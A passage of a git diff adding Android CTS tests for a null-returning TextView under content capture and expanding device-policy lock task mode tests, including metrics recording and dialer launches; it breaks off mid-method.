+        assertViewAppeared(events, i + 2, sessionId, child, rootId);
+        assertViewTreeFinished(events, i + 3);
+    }
+
+    @Test
     public void testAddChildren_afterAnimation() throws Exception {
         final CtsContentCaptureService service = enableService();
         final ActivityWatcher watcher = startWatcher();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextView.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextView.java
new file mode 100644
index 0000000..4dcbfec
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextView.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.widget.TextView;
+
+/**
+ * A TextView which always returns null from its getText() method.
+ */
+public class NullTextView extends TextView {
+    public NullTextView(Context context) {
+        super(context);
+    }
+
+    public NullTextView(Context context, AttributeSet attributes) {
+        super(context, attributes);
+    }
+
+    @Override
+    public CharSequence getText() {
+        return null;
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivity.java
new file mode 100644
index 0000000..91aa5a2
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.os.Bundle;
+
+import androidx.annotation.NonNull;
+
+public class NullTextViewActivity extends AbstractRootViewActivity {
+
+    /*
+     * We are trying to test a specific case where multi-line layouts associated with text views
+     * which return null from getText() cause crashes, so we need to use a long multi-line
+     * string as the text content.
+     */
+    private static final String LOREM_IPSUM = "Lorem ipsum dolor sit amet, consectetur adipiscing"
+            + " elit. Nunc tempor molestie risus, quis accumsan nisi varius non. In hac habitasse"
+            + " platea dictumst. Nullam et felis a ligula accumsan gravida non a justo. Praesent "
+            + "sit amet ante tincidunt quam congue rhoncus. Ut rutrum augue vitae magna posuere, "
+            + "et dictum ligula dapibus. Fusce sodales arcu nec commodo malesuada. Curabitur elit"
+            + " enim, auctor at massa in, fermentum aliquam tellus. Cras pharetra nisl ut arcu "
+            + "condimentum lacinia sed in libero. Suspendisse condimentum congue gravida. "
+            + "Curabitur ac sem eget est suscipit efficitur.\n"
+            + "\n"
+            + "Nunc dignissim velit dui, id sollicitudin turpis ultrices sed. Cras venenatis, "
+            + "enim in placerat tempus, urna eros sollicitudin augue, quis ornare lectus mi quis "
+            + "tellus. Nam ultricies non magna a varius. Quisque sit amet sapien eget lectus "
+            + "vulputate gravida. Orci varius natoque penatibus et magnis dis parturient montes, "
+            + "nascetur ridiculus mus. Mauris sit amet dui non mi iaculis pretium quis in massa. "
+            + "Ut luctus a diam ac faucibus. Integer ut felis maximus, imperdiet nulla quis, "
+            + "semper dolor. Nam molestie dapibus magna in fringilla.\n"
+            + "\n"
+            + "Nunc id mi non elit malesuada euismod et et justo. Quisque sollicitudin molestie "
+            + "lobortis. Vestibulum dapibus ante ac eros tempus fermentum. Nunc ut massa laoreet,"
+            + " placerat lorem sit amet, aliquam lectus. Sed imperdiet massa eu laoreet commodo. "
+            + "In blandit iaculis lectus, faucibus tristique ligula. Nam vehicula orci nisl, quis"
+            + " tristique lectus aliquet nec. Class aptent taciti sociosqu ad litora torquent per"
+            + " conubia nostra, per inceptos himenaeos. Cras gravida accumsan nulla non mattis.\n"
+            + "\n"
+            + "Proin sed vulputate neque. In eget tristique enim. Donec faucibus velit et "
+            + "vulputate viverra. Nullam feugiat risus id dolor pharetra, ut rhoncus massa "
+            + "egestas. Duis ut suscipit diam. Phasellus in felis eu risus porttitor maximus "
+            + "vitae a ex. Suspendisse pharetra luctus eleifend. Nam viverra eleifend nunc eget "
+            + "dapibus. Maecenas nec dapibus neque. Sed ut quam sed diam mattis pellentesque. "
+            + "Vivamus in placerat massa. Nunc ut quam eu arcu laoreet facilisis. Sed eget libero"
+            + " a libero egestas tincidunt nec vel dui. Proin maximus tortor et odio pharetra, "
+            + "eget tempor tellus ultrices.\n"
+            + "\n"
+            + "Cras sodales urna vitae ligula fermentum, ac pretium est auctor. Aliquam hendrerit"
+            + " neque non augue placerat, quis ultrices ex suscipit. Morbi congue nisl ac "
+            + "sagittis finibus. Nulla semper lectus dolor, sit amet vestibulum orci luctus eget."
+            + " Cras sed efficitur nisl. Donec mollis diam nec dolor fermentum, at dictum metus "
+            + "varius. Maecenas sit amet magna consequat lorem mollis rutrum. Nunc convallis "
+            + "sodales mi, imperdiet porttitor justo. Curabitur in massa vestibulum, pulvinar "
+            + "elit nec, efficitur tortor. Praesent luctus diam sit amet ex tempus venenatis. "
+            + "Vestibulum quis odio fermentum, imperdiet tellus non, varius ligula. Nunc "
+            + "ultricies quam non magna semper maximus et vel justo. Fusce rutrum sagittis turpis"
+            + " quis egestas. Fusce euismod dui a felis scelerisque tristique. Nam eget enim at "
+            + "libero tempor volutpat sit amet vel justo.";
+
+    @Override
+    protected void setContentViewOnCreate(Bundle savedInstanceState) {
+        setContentView(R.layout.null_textview_activity);
+
+        NullTextView view = findViewById(R.id.main_textview);
+        view.setText(LOREM_IPSUM);
+    }
+
+    @Override
+    public void assertDefaultEvents(@NonNull Session session) {
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivityTest.java
new file mode 100644
index 0000000..179687e
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/NullTextViewActivityTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "BlankWithTitleActivityTest is enough")
+public class NullTextViewActivityTest extends
+        AbstractContentCaptureIntegrationAutoActivityLaunchTest<NullTextViewActivity> {
+    private static final ActivityTestRule<NullTextViewActivity> sActivityRule =
+            new ActivityTestRule<>(NullTextViewActivity.class, false, false);
+
+    public NullTextViewActivityTest() {
+        super(NullTextViewActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<NullTextViewActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    /**
+     * Test that returning null from a TextView's getText() method will not cause an exception.
+     */
+    @Test
+    public void testNullTextView() throws Exception {
+        enableService();
+        final ActivityWatcher watcher = startWatcher();
+        final NullTextViewActivity activity = launchActivity();
+
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+    }
+}
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index 2c7fbe9..bb8a47f 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -32,7 +32,9 @@
         "ActivityContext",
         "Harrier",
         "DeviceAdminApp",
-        "TestApp"
+        "TestApp",
+        "MetricsRecorder",
+        "statsdprotolite"
     ],
     srcs: ["src/**/*.java"],
     test_suites: [
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
index 026f6fb..943d73f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
@@ -17,6 +17,7 @@
 package android.devicepolicy.cts;
 
 import static android.app.ActivityManager.LOCK_TASK_MODE_LOCKED;
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
@@ -25,6 +26,12 @@
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+import static android.content.Intent.ACTION_DIAL;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+
+import static com.android.queryable.queries.StringQuery.string;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -36,29 +43,37 @@
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.os.Bundle;
+import android.stats.devicepolicy.EventId;
+import android.telecom.TelecomManager;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.LockTask;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.activities.Activity;
 import com.android.bedstead.nene.packages.ComponentReference;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppActivity;
 import com.android.bedstead.testapp.TestAppActivityReference;
 import com.android.bedstead.testapp.TestAppInstanceReference;
 import com.android.bedstead.testapp.TestAppProvider;
+import com.android.compatibility.common.util.PollingCheck;
 import com.android.eventlib.EventLogs;
 import com.android.eventlib.events.activities.ActivityDestroyedEvent;
 import com.android.eventlib.events.activities.ActivityStartedEvent;
 
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -75,7 +90,7 @@
 
     private static final TestApis sTestApis = new TestApis();
 
-    private static final DevicePolicyManager mDevicePolicyManager =
+    private static final DevicePolicyManager sLocalDevicePolicyManager =
             sTestApis.context().instrumentedContext().getSystemService(DevicePolicyManager.class);
 
     private static final int[] INDIVIDUALLY_SETTABLE_FLAGS = new int[] {
@@ -94,16 +109,21 @@
     };
 
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sLockTaskTestApp = sTestAppProvider.query()
+            .wherePackageName().isEqualTo("android.LockTaskApp")
+            .get(); // TODO(scottjonathan): filter by containing activity not by package name
     private static final TestApp sTestApp = sTestAppProvider.any();
+
     private static final TestApp sSecondTestApp = sTestAppProvider.any();
 
     private static final ComponentReference BLOCKED_ACTIVITY_COMPONENT =
             sTestApis.packages().component(new ComponentName(
                     "android", "com.android.internal.app.BlockedAppActivity"));
 
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
     @Test
     @Postsubmit(reason = "New test")
-    // TODO(scottjonathan): This omits the metrics test
     @PositivePolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_lockTaskPackagesIsSet() {
         String[] originalLockTaskPackages =
@@ -121,6 +141,39 @@
 
     @Test
     @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    public void startLockTask_recordsMetric() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
+             TestAppInstanceReference testApp = sTestApp.install(sTestApis.users().instrumented())){
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{sTestApp.packageName()});
+            Activity<TestAppActivity> activity = testApp.activities().any().start();
+
+            try {
+                activity.startLockTask();
+
+                // TODO(b/191745956): Improve metrics query interface
+                assertThat(metrics.query()
+                        .whereType().isEqualTo(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                        .whereAdminPackageName().isEqualTo(
+                                RemoteDpc.DPC_COMPONENT_NAME.getPackageName())
+                        .whereBoolean().isTrue()
+                        .whereStrings().contains(
+                                string().isEqualTo(sTestApp.packageName())
+                        )
+                        .poll()).isNotNull();
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = LockTask.class)
     public void getLockTaskPackages_policyIsNotAllowedToBeFetched_throwsException() {
         assertThrows(SecurityException.class,
@@ -129,7 +182,6 @@
 
     @Test
     @Postsubmit(reason = "New test")
-    // TODO(scottjonathan): This omits the metrics test
     @PositivePolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_empty_lockTaskPackagesIsSet() {
         String[] originalLockTaskPackages =
@@ -147,7 +199,6 @@
 
     @Test
     @Postsubmit(reason = "New test")
-    // TODO(scottjonathan): This omits the metrics test
     @PositivePolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_includesPolicyExemptApp_lockTaskPackagesIsSet() {
         Set<String> policyExemptApps = sTestApis.devicePolicy().getPolicyExemptApps();
@@ -177,7 +228,6 @@
 
     @Test
     @Postsubmit(reason = "New test")
-    // TODO(scottjonathan): This omits the metrics test
     @PositivePolicyTest(policy = LockTask.class)
     public void isLockTaskPermitted_lockTaskPackageIsSet_returnsTrue() {
         String[] originalLockTaskPackages =
@@ -186,7 +236,7 @@
         sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{PACKAGE_NAME});
 
         try {
-            assertThat(mDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isTrue();
+            assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isTrue();
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
         }
@@ -203,7 +253,7 @@
         sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{PACKAGE_NAME});
 
         try {
-            assertThat(mDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
+            assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
         }
@@ -211,7 +261,6 @@
 
     @Test
     @Postsubmit(reason = "New test")
-    // TODO(scottjonathan): This omits the metrics test
     @PositivePolicyTest(policy = LockTask.class)
     public void isLockTaskPermitted_lockTaskPackageIsNotSet_returnsFalse() {
         String[] originalLockTaskPackages =
@@ -220,7 +269,7 @@
         sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
 
         try {
-            assertThat(mDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
+            assertThat(sLocalDevicePolicyManager.isLockTaskPermitted(PACKAGE_NAME)).isFalse();
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
         }
@@ -242,7 +291,7 @@
 
             for (String app : policyExemptApps) {
                 assertWithMessage("isLockTaskPermitted(%s)", app)
-                        .that(mDevicePolicyManager.isLockTaskPermitted(app)).isTrue();
+                        .that(sLocalDevicePolicyManager.isLockTaskPermitted(app)).isTrue();
             }
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
@@ -254,7 +303,6 @@
     @PositivePolicyTest(policy = LockTask.class)
     // TODO(scottjonathan): Support additional parameterization for cases like this
     public void setLockTaskFeatures_overviewFeature_setsFeature() {
-
         int originalLockTaskFeatures =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
 
@@ -345,8 +393,8 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
-    // TODO(scottjonathan): This omits the metrics test
     public void startLockTask_includedInLockTaskPackages_taskIsLocked() {
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
@@ -372,6 +420,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startLockTask_notIncludedInLockTaskPackages_taskIsNotLocked() {
         String[] originalLockTaskPackages =
@@ -397,8 +446,8 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @NegativePolicyTest(policy = LockTask.class)
-    @Ignore // TODO(189325405): Re-enable once secondary users can start activities
     public void startLockTask_includedInLockTaskPackages_policyShouldNotApply_taskIsNotLocked() {
         String[] originalLockTaskPackages =
                 sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
@@ -408,7 +457,7 @@
                      sTestApp.install(sTestApis.users().instrumented())) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
-            activity.startLockTask();
+            activity.activity().startLockTask();
 
             try {
                 assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
@@ -424,6 +473,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void finish_isLocked_doesNotFinish() {
         String[] originalLockTaskPackages =
@@ -453,6 +503,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void finish_hasStoppedLockTask_doesFinish() {
         String[] originalLockTaskPackages =
@@ -470,7 +521,8 @@
             // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
             EventLogs<ActivityDestroyedEvent> events =
                     ActivityDestroyedEvent.queryPackage(sTestApp.packageName())
-                    .whereActivity().className().isEqualTo(activity.activity().component().className());
+                    .whereActivity().activityClass().className().isEqualTo(
+                            activity.activity().component().className());
             assertThat(events.poll()).isNotNull();
             assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
                     activity.activity().component());
@@ -480,6 +532,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_removingCurrentlyLockedTask_taskFinishes() {
         String[] originalLockTaskPackages =
@@ -496,7 +549,8 @@
             // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
             EventLogs<ActivityDestroyedEvent> events =
                     ActivityDestroyedEvent.queryPackage(sTestApp.packageName())
-                            .whereActivity().className().isEqualTo(activity.activity().component().className());
+                            .whereActivity().activityClass().className().isEqualTo(
+                                    activity.activity().component().className());
             assertThat(events.poll()).isNotNull();
             assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
                     activity.activity().component());
@@ -506,6 +560,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void setLockTaskPackages_removingCurrentlyLockedTask_otherLockedTasksRemainLocked() {
         String[] originalLockTaskPackages =
@@ -528,7 +583,7 @@
                 // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
                 EventLogs<ActivityDestroyedEvent> events =
                         ActivityDestroyedEvent.queryPackage(sSecondTestApp.packageName())
-                                .whereActivity().className().isEqualTo(
+                                .whereActivity().activityClass().className().isEqualTo(
                                 activity2.activity().component().className());
                 assertThat(events.poll()).isNotNull();
                 assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
@@ -544,6 +599,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_withinSameTask_startsActivity() {
         String[] originalLockTaskPackages =
@@ -565,7 +621,8 @@
 
             EventLogs<ActivityStartedEvent> events =
                     ActivityStartedEvent.queryPackage(sSecondTestApp.packageName())
-                            .whereActivity().className().isEqualTo(secondActivity.component().className());
+                            .whereActivity().activityClass().className().isEqualTo(
+                                    secondActivity.component().className());
             assertThat(events.poll()).isNotNull();
             assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(secondActivity.component());
         } finally {
@@ -574,6 +631,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_withinSameTask_blockStartInTask_doesNotStart() {
         String[] originalLockTaskPackages =
@@ -609,6 +667,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_inNewTask_blockStartInTask_doesNotStart() {
         String[] originalLockTaskPackages =
@@ -645,6 +704,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_fromPermittedPackage_newTask_starts() {
         String[] originalLockTaskPackages =
@@ -676,6 +736,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_fromNonPermittedPackage_newTask_doesNotStart() {
         String[] originalLockTaskPackages =
@@ -707,6 +768,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_lockTaskEnabledOption_startsInLockTaskMode() {
         String[] originalLockTaskPackages =
@@ -736,6 +798,7 @@
     }
 
     @Test
+    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     public void startActivity_lockTaskEnabledOption_notAllowedPackage_throwsException() {
         String[] originalLockTaskPackages =
@@ -757,4 +820,256 @@
             }
         }
     }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    public void startActivity_ifWhitelistedActivity_startsInLockTaskMode() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{sLockTaskTestApp.packageName()});
+            Activity<TestAppActivity> activity = testApp.activities().query()
+                    .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
+                    // TODO(scottjonathan): filter for lock task mode - currently we can't check
+                    //  this so we just get a fixed package which contains a fixed activity
+                    .get().start();
+
+            try {
+                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                        activity.activity().component());
+                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                        LOCK_TASK_MODE_LOCKED);
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    public void startActivity_ifWhitelistedActivity_notWhitelisted_startsNotInLockTaskMode() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{});
+            Activity<TestAppActivity> activity = testApp.activities().query()
+                    .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
+                    // TODO(scottjonathan): filter for lock task mode - currently we can't check
+                    //  this so we just get a fixed package which contains a fixed activity
+                    .get().start();
+
+            try {
+                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                        activity.activity().component());
+                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                        LOCK_TASK_MODE_NONE);
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    public void finish_ifWhitelistedActivity_doesNotFinish() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{sLockTaskTestApp.packageName()});
+            Activity<TestAppActivity> activity = testApp.activities().query()
+                    .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
+                    // TODO(scottjonathan): filter for lock task mode - currently we can't check
+                    //  this so we just get a fixed package which contains a fixed activity
+                    .get().start();
+
+            activity.activity().finish();
+
+            try {
+                // We don't actually watch for the Destroyed event because that'd be waiting for a
+                // non occurrence of an event which is slow
+                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                        activity.activity().component());
+                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                        LOCK_TASK_MODE_LOCKED);
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    public void setLockTaskPackages_removingExistingIfWhitelistedActivity_stopsTask() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{sLockTaskTestApp.packageName()});
+            Activity<TestAppActivity> activity = testApp.activities().query()
+                    .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
+                    // TODO(scottjonathan): filter for lock task mode - currently we can't check
+                    //  this so we just get a fixed package which contains a fixed activity
+                    .get().start();
+
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+
+            EventLogs<ActivityDestroyedEvent> events =
+                    ActivityDestroyedEvent.queryPackage(sLockTaskTestApp.packageName())
+                            .whereActivity().activityClass().className().isEqualTo(
+                            activity.activity().component().className());
+            assertThat(events.poll()).isNotNull();
+            assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
+                    activity.activity().component());
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    @RequireFeature(FEATURE_TELEPHONY)
+    // Tests that the default dialer doesn't crash or otherwise misbehave in lock task mode
+    public void launchDefaultDialerInLockTaskMode_launches() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+        TelecomManager telecomManager =
+                sTestApis.context().instrumentedContext().getSystemService(TelecomManager.class);
+        String dialerPackage = telecomManager.getSystemDialerPackage();
+        try {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{dialerPackage});
+
+            Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
+            Intent intent = new Intent(ACTION_DIAL);
+            intent.setPackage(dialerPackage);
+            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+
+            sTestApis.context().instrumentedContext().startActivity(intent, options);
+            PollingCheck.waitFor(() -> {
+                PackageReference pkg = sTestApis.activities().foregroundActivity().packageName();
+                if (pkg == null) {
+                    return false;
+                }
+                return pkg.packageName().equals(dialerPackage);
+            });
+
+            assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                    LOCK_TASK_MODE_LOCKED);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    @RequireFeature(FEATURE_TELEPHONY)
+    public void launchEmergencyDialerInLockTaskMode_notWhitelisted_noKeyguardFeature_doesNotLaunch() {
